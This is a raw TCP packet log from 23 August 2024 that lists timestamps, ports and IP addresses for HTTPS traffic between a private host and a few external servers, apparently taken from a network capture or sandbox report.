Aug 23, 2024 16:21:37.518354893 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.569295883 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.581387997 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.581945896 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.581975937 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.582010031 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.582020044 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.582068920 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.582560062 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.583278894 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.583333015 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.583338022 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.584098101 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.584153891 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.584158897 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.585728884 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.585783958 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.585788965 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.586429119 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.586456060 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.586483002 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.586487055 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.586536884 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.587188959 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.588162899 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.588222027 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.588227034 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.588709116 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.588759899 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.588764906 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.590245008 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.590300083 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.590305090 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.591116905 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.591167927 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.591176987 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.591864109 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.591916084 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.591921091 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.592581987 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.592637062 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.592642069 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.633296013 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.695225000 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.696593046 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.696602106 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.696681023 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.696702003 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.698180914 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.698216915 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.698263884 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.698271990 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.698282957 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.699055910 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.699110031 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.699122906 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.699171066 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.700012922 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.700053930 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.700076103 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.700088024 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.700103998 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.700126886 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.700172901 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.700182915 CEST	443	49759	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.700212955 CEST	49759	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.704488993 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.704523087 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:37.704601049 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.704813004 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:37.704826117 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.031939983 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.032295942 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.032372952 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.032731056 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.033260107 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.033307076 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.033320904 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.033343077 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.080425024 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.096318007 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:38.174535036 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.174890041 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.174910069 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.175249100 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.176135063 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.176201105 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.176285028 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.207885027 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.207948923 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.208009958 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.208066940 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.208297968 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.208345890 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.208357096 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.208379030 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.208452940 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.209508896 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.209548950 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.209604025 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.209618092 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.210344076 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.210419893 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.210433960 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.215554953 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.215620041 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.215632915 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.216510057 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.256450891 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:38.256547928 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:38.256606102 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:38.269298077 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.299407005 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.299993992 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.300051928 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.300084114 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.300107956 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.300182104 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.300548077 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.300616026 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.300678015 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.300690889 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.302243948 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.302277088 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.302309990 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.302319050 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.302333117 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.302366972 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.303208113 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.303240061 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.303276062 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.303278923 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.303288937 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.303330898 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.304131985 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.304182053 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.304195881 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.304208040 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.304275036 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.304909945 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.304964066 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.305020094 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.305032015 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.305937052 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.305972099 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.306000948 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.306014061 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.306073904 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.306660891 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.317945957 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.318016052 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.318069935 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.318624973 CEST	49761	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.318643093 CEST	443	49761	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.322861910 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:38.322885990 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:38.348303080 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.393457890 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.393518925 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.393587112 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.393642902 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.395004988 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.395092964 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.395109892 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.395644903 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.395684958 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.395729065 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.395750046 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.395773888 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.397260904 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.397325039 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.397337914 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.397397041 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.398123026 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.398200035 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.399477959 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.399539948 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.399729967 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.399799109 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.401161909 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.401192904 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.401223898 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.401238918 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.401267052 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.402848959 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.402882099 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.402915001 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.402934074 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.402971983 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.403297901 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.403367996 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.403379917 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.403492928 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.485563040 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.485686064 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.486188889 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.486277103 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.487262964 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.487333059 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.488239050 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.488312960 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.490025997 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.490063906 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.490092039 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.490127087 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.490153074 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.490158081 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.490195036 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.490362883 CEST	49760	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.490396023 CEST	443	49760	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.493104935 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.493143082 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.493232012 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.493447065 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.493462086 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.634908915 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.634949923 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:38.635035992 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.635255098 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:38.635267973 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.007968903 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.008251905 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.008270025 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.008578062 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.008881092 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.008939028 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.009006023 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.056500912 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.130433083 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.130707979 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.130767107 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.131073952 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.131359100 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.131424904 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.131493092 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.131531954 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.131567955 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.160903931 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.160958052 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.160999060 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.161011934 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.161067009 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.161103010 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.161109924 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.161941051 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.161972046 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.161994934 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.162003994 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.162040949 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.162651062 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.162702084 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.162731886 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.162744999 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.162751913 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.162786961 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.167934895 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.222301960 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.256603003 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.256875038 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.256896973 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.256925106 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.256930113 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.256941080 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.256972075 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.257586956 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.257615089 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.257637978 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.257647038 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.257689953 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.257736921 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.257788897 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.257828951 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.257837057 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.258476973 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.258502960 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.258527994 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.258534908 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.258574963 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.259072065 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.259711027 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.259737968 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.259761095 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.259766102 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.259777069 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.259819984 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.259828091 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.259865046 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.260659933 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.260704041 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.260745049 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.260752916 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.290101051 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.290143967 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.290203094 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.290235043 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.290805101 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.290858030 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.290874958 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.291446924 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.291500092 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.291512012 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.292350054 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.292380095 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.292407990 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.292409897 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.292423964 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.292453051 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.293334961 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.293397903 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.293411970 CEST	443	49763	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.302294016 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.302304029 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.334306955 CEST	49763	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.350312948 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.353267908 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.353964090 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.353992939 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.354020119 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.354022026 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.354037046 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.354063034 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.354880095 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.354943037 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.354952097 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.354991913 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.356225967 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.356239080 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.356308937 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.356317997 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.356362104 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.357321978 CEST	443	49762	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:39.357378960 CEST	49762	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:39.358258009 CEST	443	49762	104.18.95.41	192.168.2.16
